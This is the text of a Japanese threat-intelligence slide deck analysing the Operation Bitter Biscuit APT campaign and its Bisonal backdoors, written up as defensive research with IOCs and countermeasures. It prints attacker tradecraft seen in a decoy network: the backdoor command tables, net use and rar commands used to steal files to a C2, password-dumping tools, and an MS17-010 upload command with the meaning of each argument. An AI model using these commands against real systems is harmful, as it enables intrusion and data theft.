攻撃キャンペーン「Operation Bitter Biscuit」
を実行した標的型攻撃グループに関する脅威情報
2020/1/17
高井 一

自己紹介
⚫ 元ソフトウェアエンジニア➢

3年前、NTTセキュリティ・ジャパンに転職し、セキュリティエンジニアに転身⚫ SOCアナリスト➢

24時間365日の監視業務➢

セキュリティデバイスのアラート監視➢

マルウェア解析➢

Taidoorを用いた標的型攻撃解析レポート

2/72

はじめに
発表内容
⚫ 攻撃キャンペーン「Operation Bitter Biscuit」の概要⚫ SOCで観測した標的型攻撃の解析結果➢

メールからバックドア感染までの解析結果➢

バックドアを用いた攻撃者の活動の解析結果⚫ マルウェアBisonalの亜種間の比較
⚫ まとめ

3/72

攻撃キャンペーン「Operation Bitter Biscuit」の概要
4/72

Operation Bitter Biscuitの概要
Opearation Bitter Biscuitは攻撃キャンペーンを表しており、セキュリティベンダー各社から情報が公開されている。[1],[2],[3]5/72Operation Bitter Biscuitの概要
Operation Bitter Biscuitの特徴⚫ 標的国: 韓国、ロシア、日本⚫ 標的業種: 政府関係、軍事・国防関連企業(IT企業も攻撃されたという情報有り[4])⚫ マルウェア: Bisonal

Operation Bitter Biscuitに関する脅威情報⚫ 日本に対する攻撃事例が少ない。
⚫ 攻撃に利用されるメールやマルウェア等の報告は存在するが、感染後の攻撃者による活動に関する報告が少ない。

脅威情報の少ないグループ
6/72

SOCで観測した
標的型攻撃の解析結果

7/72

メールからバックドア感染までの解析結果

8/72

メールからバックドア感染までの流れ端末がメールを起点に3つのバックドアに感染した。
ACE形式
圧縮ファイル

2つのWordファイル①ユーザーが解凍

DOCX

DOCX
②ドロッパーを起動

ドロッパー(word.wll)
①ユーザー
が解凍

1次バックドア(csrcc.exe)③1次バックドアを作成・実行

2次バックドア
(Acrobat.exe)⑤2次バックドアを実行④2次バックドアをダウンロード

3次バックドア(conime.exe)⑦3次バックドアを実行⑥3次バックドアをダウンロード

C&Cサーバー

C&Cサーバー

9/72

メールからバックドア感染までの流れ
端末がメールを起点に3つのバックドアに感染した。
ACE形式
圧縮ファイル

2つのWordファイル

①ユーザー
が解凍

DOCX

DOCX
②ドロッパーを起動

ドロッパー(word.wll)
①ユーザー
が解凍

1次バックドア(csrcc.exe)③1次バックドアを作成・実行

これから

2次バックドア
(Acrobat.exe)⑤2次バックドアを実行④2次バックドアをダウンロード

3次バックドア(conime.exe)⑦3次バックドアを実行⑥3次バックドアをダウンロード

話す内容
C&Cサーバー

C&Cサーバー

10/72

標的型攻撃メール

非公開

11/72

標的型攻撃メールに添付された圧縮ファイル
下記が悪用されて、圧縮ファイル内のドロッパーが起動した。
⚫ CVE-2018-20250: WinRarに存在する任意のパスにファイルを設置される脆弱性⚫ Wordのアドインフォルダ: Word起動時に実行されるファイルの設置フォルダ
ACE形式
圧縮ファイル

2つのWordファイル

①ユーザー
が解凍

DOCX

DOCX

標準のパスに設置される②いずれかのWordファイルを開くと、アドインフォルダ内のドロッパーが起動
①ユーザー
が解凍

ドロッパー
(word.wll)
CVE-2018-20250により、Wordのアドインフォルダに設置される
12/72

添付の圧縮ファイル内のWordファイル

非公開

13/72

ドロッパー(word.wll)の解析結果⚫ 検体に含まれる1次バックドアのバイナリデータをファイルとして出力している。
⚫ レジストリを用いて1次バックドアを永続化させている。
レジストリ「HKEY_CURRENT_USER¥Microsoft¥Windows¥CurrentVersion¥Run」の設定

1次バックドアのバイナリデータ

14/72

メールからバックドア感染までの流れ端末がメールを起点に3つのバックドアに感染した。
ACE形式
圧縮ファイル

2つのWordファイル

①ユーザー
が解凍

DOCX

DOCX
②ドロッパーを起動

ドロッパー(word.wll)
①ユーザー
が解凍

これから話す内容
1次バックドア(csrcc.exe)③1次バックドアを作成・実行

2次バックドア
(Acrobat.exe)⑤2次バックドアを実行④2次バックドアをダウンロード

3次バックドア(conime.exe)⑦3次バックドアを実行⑥3次バックドアをダウンロード

C&Cサーバー

C&Cサーバー

15/72

1次バックドアのC&Cサーバーとの通信
C&Cサーバーから受信した命令に応じた処理を実行する。

16/72

1次バックドアのコマンド一覧
これらのコマンドを用いて感染端末を操作された。
受信データ

動作

c

ドライブ一覧の送信

dファイル情報の送信

e

ファイルのダウンロード

f

ファイルの実行g

ファイルの削除h

ファイルのアップロード

j

プロセス情報の送信

l, m

コマンドの実行(cmd.exe)n

サービス情報の送信o

端末情報の送信17/72

1次バックドアの通信例
2次バックドアをダウンロード・実行したときの通信キャプチャ• 受信データ: e(ファイルのダウンロード)• ファイル名: Acrobat.exe

2次バックドアのバイナリデータ

18/72

1次バックドアの通信例
2次バックドアをダウンロード・実行したときの通信キャプチャ• 受信データ: m(コマンドの実行)• 実行されたコマンド: cd Adobe• 受信データ: m(コマンドの実行)• 実行されたコマンド: Acrobat.exe

19/72

1次バックドアの特徴
特定のデータを受信することで、モードが変更する。
⚫ データ「1」を受信すると、命令を実行するモードに移行にする。
⚫ データ「u」を受信すると、命令を実行しないモードに戻る。
データを受信

NO

受信データが「1」YES
データを受信

NO

受信データが「1」YESコマンドを実行
20/72

1次バックドアの特徴
C&Cサーバーとの通信はHTTPプロトコルを使用する。
Fig. ) コマンド受信時の通信キャプチャ

Fig. ) コマンド結果送信時の通信キャプチャ• GETメソッド• URLパスは「news.php」の後に3種のパラメータ• type:1(命令を実行しないモード)
2(命令を実行するモード)• POSTメソッド• hash: macアドレスのmd5値• Refererは「upfile」• time: 感染端末のシステム時間• コマンドの実行結果のデータ形式がキーが「para」で始まるJSONのような形式• URLパスは「news.php」

21/72

1次バックドアの特徴
URLやポート番号等の値がエンコードされずに検体に含まれている。

22/72

1次バックドアの正体
これまで「Operation Bitter Biscuit」の犯行グループが特徴の一致する検体を使用したという報告は無い。

23/72

メールからバックドア感染までの流れ端末がメールを起点に3つのバックドアに感染した。
ACE形式
圧縮ファイル

2つのWordファイル①ユーザーが解凍

DOCX

DOCX

これから②ドロッパーを起動

ドロッパー(word.wll)
①ユーザー
が解凍

話す内容
1次バックドア(csrcc.exe)③1次バックドアを作成・実行

2次バックドア
(Acrobat.exe)⑤2次バックドアを実行④2次バックドアをダウンロード

3次バックドア(conime.exe)⑦3次バックドアを実行⑥3次バックドアをダウンロードC&Cサーバー

C&Cサーバー

24/72

2次バックドアの正体
マルウェア「Bisonal」との共通点⚫ バックドアの機能を有している。
⚫ 通信先やポート番号のエンコードに使用されるアルゴリズムが同一である。

25/72

2次バックドアとBisonalの共通点バックドアの機能を有している。
Fig. ) Bisonalに関する解析レポート[5]Fig. ) Acrobat.exe(2次バックドア)のコードの一部

Bisonalがバックドアだという解析レポートがある

Acrobat.exeにもバックドアの機能が確認された
26/72

2次バックドアのコマンド一覧
受信データ 動作

受信データ 動作2

送信データのprefixの変更

12

ファイルのダウンロード

3

プロセス情報の送信

13, 15

ファイルのアップロード

5

システム時間の送信

16

ファイルを削除

6

ドライブ一覧の送信

17

ソケットの再作成

7

ファイル情報の送信

18

ソケットオブジェクトの送信

9プロセスの終了

19

ファイルの実行10, 11

コマンドの実行(cmd.exe)

20

ソケットのクローズ21

自身のプロセスの終了
自身のファイルの削除

27/72

2次バックドアとBisonalの共通点
通信先やポート番号のエンコードアルゴリズムが同一である。
Fig. ) 過去のBisonalのエンコード[5]Fig. ) 2次バックドアのエンコード

1213=0x4BD使用されるキーも0x4BD

過去のBisonalと同じ

28/72

2次バックドアのエンコードアルゴリズム⚫ 2次バックドアのアルゴリズムの一部分が、PostScript Type1で利用されている暗号アルゴリズムと同じ。

⚫ 独自と思われるアルゴリズムも含まれている。
Fig. ) 2次バックドアのデコード処理

Fig. ) PostScript Type1 Font Formatに記載のコード[6]独自?
C1=52845=0x58BF
C2=22719=-0x3193
0x58BF-0x3193
29/72

2次バックドアの特徴
C2への送受信データがカスタムされたRC4で暗号化されている。
Fig. ) 2次バックドアのRC4のKSA

SBOXの配列の長さが256から128にカスタムされている

30/72

メールからバックドア感染までの流れ
端末がメールを起点に3つのバックドアに感染した。
ACE形式
圧縮ファイル

2つのWordファイル①ユーザーが解凍

DOCX

DOCX

これから

②ドロッパーを起動

ドロッパー(word.wll)①ユーザーが解凍

話す内容
1次バックドア(csrcc.exe)③1次バックドアを作成・実行

2次バックドア
(Acrobat.exe)⑤2次バックドアを実行④2次バックドアをダウンロード

C&Cサーバー

3次バックドア(conime.exe)⑦3次バックドアを実行⑥3次バックドアをダウンロード

C&Cサーバー

31/72

3次バックドアの正体
2次バックドアと同じBisonalと考えれる。
⚫ BinDiffで差分がなく、コード領域が一致している。
⚫ C2コマンドも一致しており、C&Cサーバーの通信先ドメインも一致している。

2次バックドアとの差分も見つかった。
⚫ C&Cサーバーと通信する際のポート番号は異なっていた。
Fig. ) 2次バックドアのエンコードされたポート番号

CIIU

80

Fig. ) 3次バックドアの2次バックドアのエンコードされたポート番号

BWATFM443
32/72

バックドアの通信先に関する分析⚫ C&CサーバーのドメインのWhois情報⚫ C&Cサーバーの使い回し

33/72

C&CサーバーのWhois情報
changeipというDynamicDNSのドメインがC&Cサーバーに使用された。
Fig. ) 1次バックドアの通信先

Fig. ) 2次バックドアの通信先

34/72

C&CサーバーのWhois情報
今回のC&CサーバーのドメインはOperation Bitter Biscuitで利用実績のあるchangeipのドメインである。
Fig. ) DynamicDNS毎のBisonalの検体の通信先数

Fig. ) 2018年に報告された
Operation Bitter Biscuitに関する記事[3]

その他
14

NO-IP
5
changeip
15

Sitelutions
34
changeipのドメイン
changeipのドメイン

35/72

C&Cサーバーの使いまわし
2次バックドアのC&Cサーバーのドメインは過去のBisonalでも使用されていた。

2018年にupload
された検体解析したところ、Bisonalの特徴が複数見つかった。

通信先からBisonalを検知できる可能性がある
36/72

バックドアを用いた攻撃者の活動の解析結果
37/72

観測環境
攻撃者に観測用の囮環境と気づかれないように、一般的な企業を模擬した環境を利用した。[7]観測系サーバー

感染系サーバー
攻撃者が興味を持ちそうな資料ファイルの設置

Proxy-VM

IPS-VM1

ActiveDirectory-VM

観測データの取得

Linux-VM(Router)

Internet

WAN-LAN
Router

1

3…
IPS-VMx※1のミラー

IPS-VM2

2

FileServer-VM

SW

Capture-VM

Win7SP1-VM
物理
サンドボックス
感染端末

資料ファイルの設置不要ファイルの削除

38/72

バックドアを用いた攻撃者の活動の全体像
攻撃者の主な活動を時系列で示す。
時間

項目

バックドア

9/27 11:50

1次バックドア(csrcc.exe)の実行-

9/27 11:55

攻撃者からの応答を確認

csrcc.exe

9/27 12:32

ファイルサーバーからファイルの窃取

csrcc.exe

9/27 13:39

2次バックドア(Acrobat.exe)のダウンロードと起動

csrcc.exe

9/27 13:51

感染端末のブラウザ・メーラーのパスワードを窃取

Acrobat.exe

9/27 13:56

感染端末のOSアカウントのパスワードを窃取

csrcc.exe

9/27 14:26

ADにマルウェアBisonalが設置される

Acrobat.exe

9/27 18:04

3次バックドア(conime.exe)のダウンロードと起動

Acrobat.exe

9/27 21:47

バックドアのプロセスが終了し、攻撃者からの通信が途絶える-

時差が1時間であることを考えると、活動時間が中国の勤務時間に近い

3次バックドアはC&Cサーバーからの命令を殆ど受信してない
39/72

ファイルサーバーからのファイル窃取
netコマンドやWinRarを用いてファイルを窃取された。
Fig. ) 1次バックドアが実行したコマンド
mnet use z: ¥¥192.168.66.5¥share

ファイルサーバーにネットワークドライブを割当m
rar a -r -v2000k 2.rar "z:¥"別でダウンロードしたWinRarでファイルを2M毎に圧縮

h637051521594536734.jpg,
C:/Users/helpdesk001/AppData/2.part01.rar,
C:/control/ly/control/2e0167ef3a43e9cd6150e5850
b007d83/2.part01.rar

圧縮したファイルをC&Cサーバーにアップロードm
net use z: /del

攻撃者サーバー上のファイルパスの可能性有り
ネットワークドライブの割当を解除

40/72

ブラウザ・メーラーのパスワード窃取ツール
ブラウザ・メーラーのパスワードの窃取が試行された。
Fig. ) 2次バックドアが実行したコマンド
getwebpass

getwebpass.exeというツールでパスワードの窃取が試行された。

----------------IE-------------------('INFO', u'Internet Explorer passwords are
stored in Vault (check vault module)')error:has not find password

パスワード窃取の対象• Internet Explorer• Firefox• Thunderbird• Chrome• Yandex

・・・

パスワードを保存しておらず、情報は窃取されなかった。
41/72

ブラウザ・メーラーのパスワード窃取ツール
pythonコードを実行ファイルに変換している。

PyInstallerが使用されたことを示す「pyi-windows-manifest-filename」という文字列が確認できる

42/72

ブラウザ・メーラーのパスワード窃取ツール
類似のコードがGithub上に公開されている。
Fig. ) インターネットに公開されているchromeのパスワードを窃取するコード[8]Fig. ) 攻撃者が使用したツールをデコンパイルしたコード同様の処理をしていることに加えて、出力されるメッセージも一致している。

43/72

OSアカウントのパスワード窃取ツール
攻撃者の用意したツールでパスワードの窃取が試行された。
Fig. ) 1次バックドアが実行したコマンド
mconhost[!]AdjustTokenPrivileges Failed.<1300>[!]Error code of EnumProcessModules():6conhost.exeという攻撃者がダウンロードしたツールでOSアカウントの窃取が試行された。

パスワードの窃取は失敗
・・・
mdel conhost.exe

成功することなく、ツールを削除している。
44/72

OSアカウントのパスワード窃取ツール
類似のコードがGitHubやブログで公開されている。[9]Fig. ) 類似コードのGitHubのサイト

Fig. ) 作成者のトップページ

標準出力に出力される形式も同じ。

標準出力に出力される形式も同じ。

• セキュリティ関連のツールを公開している• 中国語が読み書きできる人物
45/72

OSアカウントのパスワード窃取ツール
類似のコードがGitHubや中国語のサイトで公開されている。[10]レジストリの設定が必要と記載されており、攻撃者が実行に失敗した原因の可能性有り
46/72

ADに対するマルウェアの設置 -脆弱性確認MS17-010の脆弱性の有無を確認している。
Fig. ) 2次バックドアが実行したコマンド
checkers 192.168.66.50 0
192.168.66.50
Target OS: Windows Server 2012 R2 Standard 9600[!] 192.168.66.50 :is not patched=== Testing named pipes ===spoolss: STATUS_ACCESS_DENIED
samr: Ok (64 bit)
netlogon: Ok (64 bit)lsarpc: Ok (64 bit)browser: STATUS_ACCESS_DENIED

MS17-010の脆弱性の有無を確認する
CheckersというEXEファイルを実行している
引数の意味
・第1引数: 確認するデバイスのIP
・第2引数: IPの指定方法のモード
・0: 指定IPに対する脆弱性の確認
・0以外:指定範囲のIPに対する脆弱性の確認“192.168.66.50 is not patched”と出力されている通り、ADはMS17-010のパッチが適用されていないことを表している。
47/72

ADに対するマルウェアの設置 -脆弱性確認pythonコードを実行ファイルに変換している。
Fig. ) 攻撃者が使用したツールをデコンパイルしたコード

48/72

ADに対するマルウェアの設置 -脆弱性確認類似のコードがGithub上に公開されている。[11]標準出力に表示されるメッセージも同一• セキュリティ関連のコードを公開している• タイに関連がある人物
49/72

ADに対するマルウェアの設置 -RCE実行ADに対するマルウェアのアップロードをしている。
Fig. ) 2次バックドアが実行したコマンド

tools.exe 192.168.66.50 samr 0 C:¥Windows¥Tasks¥Acrobat.exec:¥windows¥tasks¥conhost.exe
Target OS: Windows Server 2012 R2 Standard 9600
Target is 64 bit
Got frag size: 0x20
・・・localfile: C:¥Windows¥Tasks¥Acrobat.exe
remotefile: c:¥windows¥tasks¥conhost.exe
the file to upload: C:¥Windows¥Tasks¥Acrobat.exe[*]upload sunccess!
[*]upload file success!
Done

MS17-010によりRCEを実行する「tools.exe」というEXEファイルを実行している。
引数の意味(第3引数が0の場合)
・第1引数: 対象デバイスのIP
・第2引数: 名前付きパイプ
・第3引数: 対象デバイスに実行する機能
0:ファイルのアップロード
1:ファイルの読み取り
2:コマンド実行
3:ファイルのダウンロード
・第4引数: アップロードするファイルパス
・第5引数: アップロード先のファイルパス

成功している
50/72

ADに対するマルウェアの設置 -RCE実行pythonコードを実行ファイルに変換している。
tools_exec.pyのソース

Base64
デコード

51/72

ADに対するマルウェアの設置 -RCE実行類似のコードがGithub上に公開されている。

デコンパイルしたpythonコードと同じコメントが記載されている
52/72

ADに対するマルウェアの設置 -RCE実行公開されているソースに独自で関数を追加されていた。
ファイルをダウンロードする関数

ファイルを読み取る関数

helpを表示する関数

53/72

ADに対するマルウェアの設置 -RCE実行過去にEmissary Pandaというグループが類似するツールを利用したという情報がある。[12]MS17-010

checker.py

54/72

ポートスキャンツール
Operation Bitter Biscuitが利用したという報告があるツールと特徴が似ているポートスキャンツールが観測された。
Fig. ) 2次バックドアが実行したコマンド
sFig. ) ポートスキャンツールに関する過去の報告[13]s.exeが実行された

S scanner By l 2012
Usage: s TCP/SYN StartIP [EndIP] Ports [Threads][/T(N)] [/(H)Banner] [/Save]
Example: s TCP 12.12.12.12 12.12.12.254 80 512
Example: s TCP 12.12.12.12/24 80 512
Example: s TCP 12.12.12.12/24 80 512 /T8 /Save
Example: s TCP 12.12.12.12 12.12.12.254 80 512/Hbanners.exe

S scanner By I 2012

過去の報告と比べて、ファイル名と標準出力のメッセージが同じだった。
55/72

攻撃者の推定
今回の攻撃者は、関連する情報が最も多いことから、Operation Bitter Biscuitの実行グループと推定される。
Operation
Bitter Biscuit

Tick[14]/
Tonto[15]

C&Cサーバがchangeip

標的国
日本

checkers.exe
tools.exe(MS17-010)

ポート
スキャナー
s.exe

マルウェア
Bisonal

中国に紐づく
複数の情報

EmissaryPanda

56/72

攻撃の対策⚫ EDR等でOfficeのアドインフォルダを監視する。
⚫ 1次バックドアの通信を検知するネットワークシグネチャを適用する。
⚫ Bisonalの通信先として知られているドメインやIPを遮断する。
⚫ OSやインストール済みソフトウェアを最新バージョンに更新する。

57/72

マルウェア「Bisonal」
亜種間の比較

58/72

Bisonalの亜種間の比較目的⚫ 今回使用されたBisonalの特徴を調べる。

調査対象⚫ 特徴的なエンコードを用いてる検体比較する観点⚫ 通信プロトコル⚫ コマンド数⚫ 通信先やポート番号のエンコード⚫ C&Cサーバーとの通信の暗号化

59/72

Bisonalの亜種間の比較
検体収集方法⚫ Virusotal等のマルウェアをダウンロードできるサービスから下記の条件に一致する検体を検索した。
➢ OSINT情報から収集した、BisonalのIOCに一致する検体➢ エンコードアルゴリズムを特徴づける値を含む検体✓ エンコードに使用されるキー: 0x4BD✓ アルゴリズムに含まれる値: 0x58BF➢ エンコードされた文字列を含む検体
エンコード前

エンコード後

80

CIIU

443

BWATFM¥¥cmd.exeDKALAHFNGKQIFHM
60/72

Bisonalの亜種間の差分 -通信プロトコル下記の通信プロトコルを利用する検体が見つかった。
⚫ HTTPプロトコル⚫ TCP上の独自プロトコル
Fig. ) HTTPプロトコル

Fig. ) TCP上の独自プロトコル

WinInet APIを利用している
WinSock APIを利用している
61/72

Bisonalの亜種間の差分 -コマンド数下記のコマンド数は見つかった。
⚫ 5種類
⚫ 6種類
⚫ 17種類Fig. ) 5種類のコマンド

Fig. )6種類のコマンド

Fig. ) 17種類のコマンド・・・

62/72

Bisonalの亜種間の差分 -エンコード下記のエンコードを行う検体が見つかった。
⚫ 通信先のみエンコードする検体⚫ 通信先とポート番号をエンコードする検体
Fig. ) 通信先のみエンコードする検体

ポート番号がエンコードされていないポート番号がエンコードされている
63/72

Bisonalの亜種間の差分 -通信の暗号化下記の通信を行う検体が見つかった。
⚫ 平文で通信する検体⚫ カスタムしたRC4で暗号化する検体
Fig. )平文で通信する検体の送信データ作成処理

Fig. ) カスタムしたRC４で暗号化する検体の送信データ作成処理

暗号化処理

64/72

Bisonalの亜種間の比較結果⚫ 大きく分けて2種類の亜種が見つかった。
➢ 通信プロトコル:HTTP, コマンド数:5又は6, ポート番号暗号化:無➢ 通信プロトコル:TCP上の独自プロトコル, コマンド数:17, ポート番号暗号化:有⚫ 2019年9月以降の検体では通信を暗号化していた。

今回の検体

グループA

グループB

グループB’

通信プロトコル

HTTP

独自

独自

コマンド数

5又は6

17

17

ポート番号のエンコード

無有有C&Cサーバーとの通信の暗号化

無無有

発見時期

2015-20182015-20172019/9, 2019/12

検体数

18

103

今回の検体は通信の暗号化が特徴であり、今後のBisonalでは通信を暗号化される可能性がある
65/72

まとめ⚫ 囮環境による観測➢

一般的な企業を模擬した囮環境を利用することで、メールや一次検体だけでなく、その後の2次検体やバックドアによる攻撃者の活動を観測することに成功した。

⚫ 攻撃者の推定➢

Operation Bitter Biscuitの犯行グループが今回の攻撃者と推定される。

⚫ Operation Bitter Biscuitが使う新たな攻撃手法➢

CVE-2018-20250とWordのアドインフォルダを悪用した手法➢

類似検体が見つかっていないバックドア(1次バックドア)➢

感染端末のOSアカウント・ブラウザ・メーラーのパスワードを窃取するツール➢

MS17-010を利用したツール⚫ マルウェアBisonalの亜種間の比較⚫

カスタムされたRC4で通信を暗号化するマルウェアBisonalが今後使用される可能性がある。
66/72

公開するツール
弊社WEBサイトにて公開します。
⚫ Bisonalの通信を復号するツール⚫ Bisonalの文字列のエンコード・デコードツール⚫ Bisonalの亜種の検索に用いたyaraルール

67/72

IOC -観測したバックドアファイル名

md5

通信先

csrcc.exe

AD3ADC82DB44B1655A921E5FDD0CBB40

www.yandex2unitedstated.dynamic-dns[.]net

Acrobat.exe

F10EE63E777617DEF660D6CA881A7CFF

conime.exe

46C3DBF662B827D898C593CA22F50231

lovehome.zzux[.]com

68/72

IOC -バックドアから実行されたツールファイル名

md5

getwebpass.exe

E0C5A23FB845B5089C8527C3FA55082F

conhost.exe

802312F75C4E4214EB7A638AECC48741

checkers.exe

96C2D3AF9E3C2216CD9C9342F82E6CF9tools.exe

56DF97AE98AAB8200801C3100BC31D26

s.exe

E533247F71AA1C28E89803D6FE61EE58

69/72

IOC -Bisonalの亜種間の比較md5

md50B24FFFCE8A5DEF63214DBE04AB05BB1B3C93FF309351CB531BE33FBD4ED7188

1B31C41B3DC1E31C56946B8FD8AE8A1A

B59D9BCE9FBFE49B2BACF2019D8CFB2E

1C2B058A55434F6C9066B493FE8024CE

B871D9C06F84043E9FF9FC606DA1A423

3008AC3CCD5D9DF590878F2893CF8477

B9471A911A76C4AAACD0D16E6FA55E9B

3BFCC37FA750BF6FF4A2217A3970BBAF

BEC5BF2BD310B887460103924F13962C

423262F84FCD3E6EEEB6E9898991AC69

C0D5F9B93E799099DD07342F61C46CD146C3DBF662B827D898C593CA22F50231

CBABCDF63E6B4196F71DF444A8658EEC54E3237ECE37203723F36400963E2DA2D2D36A668CB1E3E9F9DCED3A59B19EC45DAB4EADE11006D7D81A3F0FD8FE050F

E06205CA2C80AD7870F29DE8FAE60BE76E9491D40225995E59194AE70F174226

E354F8767B7077655C315C210F152947

6F7FAF801464E2858CE6328EAD6887AB

E6AB1AEB7C6BA5290309C327EA6DDC58775A4A957AED69C0A907756793DCEC4B

EA084CDE17C0167E12B724D2B8CC97B48A9B594A1DA07E7309C9A3613356E5C7EEB9E9B187BDF25FAB41680952C32DD595F941B8D393C515771B1EEBC583FC20

F10EE63E777617DEF660D6CA881A7CFF

9A484560846BE80D34C70EFE44069C1A

FEE03709C03AD49846A9AF6AA973C27D

AA3E738F0A1271C2DC13722B0C2B5D1970/72

出典[1] https://asec.ahnlab.com/1078[2] https://blog.trendmicro.com/trendlabs-security-intelligence/pulsing-the-heartbeat-apt/[3] https://www.paloaltonetworks.jp/company/in-the-news/2018/unit42-bisonal-malware-used-attacks-russiasouth-korea[4] https://www.slideshare.net/JackyMinseokCha/targeted-attacks-on-major-industry-sectors-in-south-korea20171201-cha-minseokavar-2017-beijingfull-version[5] https://asec.ahnlab.com/1026[6] https://www.adobe.com/content/dam/acom/en/devnet/font/pdfs/T1_SPEC.pdf[7] https://www.jpcert.or.jp/present/2018/JSAC2018_08_ozawa.pdf[8] https://github.com/AlessandroZ/LaZagneForensic/blob/master/LaZagneForensic/lazagne/softwares/
browsers/chrome.py[9] https://github.com/3gstudent/Homework-of-C-Language/blob/master/sekurlsa-wdigest.cpp[10] https://3gstudent.github.io/3gstudent.github.io/Mimikatz%E4%B8%ADsekurlsawdigest%E7%9A%84%E5%AE%9E%E7%8E%B0/[11] https://github.com/worawit/MS17-010/blob/master/checker.py[12] https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepointservers/271/72

出典[13] https://image.ahnlab.com/file_upload/asecissue_files/ASEC_REPORT_vol.88.pdf[14] https://gsec.hitb.org/materials/sg2019/D1%20COMMSEC%20-%20Tick%20Group%20%20Activities%20Of%20The%20Tick%20Cyber%20Espionage%20Group%20In%20East%20Asia%20Over%20T
he%20Last%2010%20Years%20-%20Cha%20Minseok.pdf[15] https://aavar.org/AVAR2019_Papers.pdf

72/72